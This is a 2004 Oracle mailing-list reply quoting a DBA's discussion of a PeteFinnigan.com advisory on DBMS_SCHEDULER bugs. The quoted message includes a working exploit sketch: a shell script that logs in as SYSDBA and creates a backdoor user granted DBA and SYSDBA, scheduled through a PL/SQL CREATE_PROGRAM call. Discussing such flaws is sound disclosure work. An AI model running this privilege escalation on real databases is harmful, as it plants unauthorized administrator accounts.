Re[2]: PeteFinnigan.com Oracle advisory for bugs in dbms_scheduler ( alert #68)

From: Jonathan Gennick <jonathan_at_gennick.com> Date: Thu, 2 Sep 2004 16:16:23 -0400 Message-ID: <351326433961.20040902161623@gennick.com> · >> -----Original Message-----

GM> What annoys me the most is that the bug is so trivial 
GM> that it should have been discovered during the beta test.
GM> You and Pete didn't specify how exactly is it possible, probably
GM> out of the goodness of your heart, so I did a little investigation
GM> of my own, and discovered that Oracle10g alows shell scripts to
GM> be scheduled using DBMS_SCHEDULER. Of course, DBMS_SCHEDULER still
GM> uses job queue processes owned by user oracle to schedule those
GM> shell scripts. The thing that can be done is to schedule a shell
GM> script containing the following sequence:
GM> #!/bin/ksh
GM> set -a 
GM> echo "Operator, are you pondering what I am pondering?">/dev/console
GM> ORAENV_ASK=NO
GM> ORACLE_SID=<sid>
GM> . /usr/local/bin/oraenv
GM> sqlplus "/ as sysdba"<<EOF
GM> create user brain identified by takeover
GM> default tablespace system;
GM> grant connect,resource,dba to brain;
GM> grant sysdba to brain;
GM> EOF

GM> BEGIN
GM> DBMS_SCHEDULER.CREATE_PROGRAM (
GM>    program_name           => 'take_over_the_world',
GM>    program_action         => '/tmp/pinky_and_the_brain',
GM>    program_type           => 'EXECUTABLE',
GM>    comments               => 'I rulez');
GM> END;
GM> /

GM> and you are ready to create the job and run it. I was astonished 
GM> how simple and trivial the flaw is. Someone should have thought of

GM> --
GM> Mladen Gogala
GM> Oracle DBA
GM> email:mladeng_at_aetvn.com
GM> Ext: 9787

GM> Join the Oracle-article list and receive one
GM> article on Oracle technologies per month by 
GM> email. To join, visit
GM> http://five.pairlist.net/mailman/listinfo/oracle-article, 
GM> or send email to Oracle-article-request_at_gennick.com and 
GM> include the word "subscribe" in either the subject or body.

GM> Wednesday, September 1, 2004, 3:06:15 PM, Pete Finnigan

PF>> Oracle released last night alert #68 covering fixes for many 
PF>> security bugs in Oracle. PeteFinnigan.com found security bugs in the 
PF>> new 10gR1 scheduler functionality. Our security advisory can be 
PF>> found at http://www.petefinnigan.com/alerts.htm

GM> ---
GM> To unsubscribe - mailto:oracle-l-request_at_freelists.org&subject=unsubscribe 
GM> To read recent messages - http://freelists.org/archives/oracle-l/09-2004
GM> ---
GM> To unsubscribe - mailto:oracle-l-request_at_freelists.org&subject=unsubscribe 
GM> To read recent messages - http://freelists.org/archives/oracle-l/09-2004

---
To unsubscribe - mailto:oracle-l-request_at_freelists.org&subject=unsubscribe 
To read recent messages - http://freelists.org/archives/oracle-l/09-2004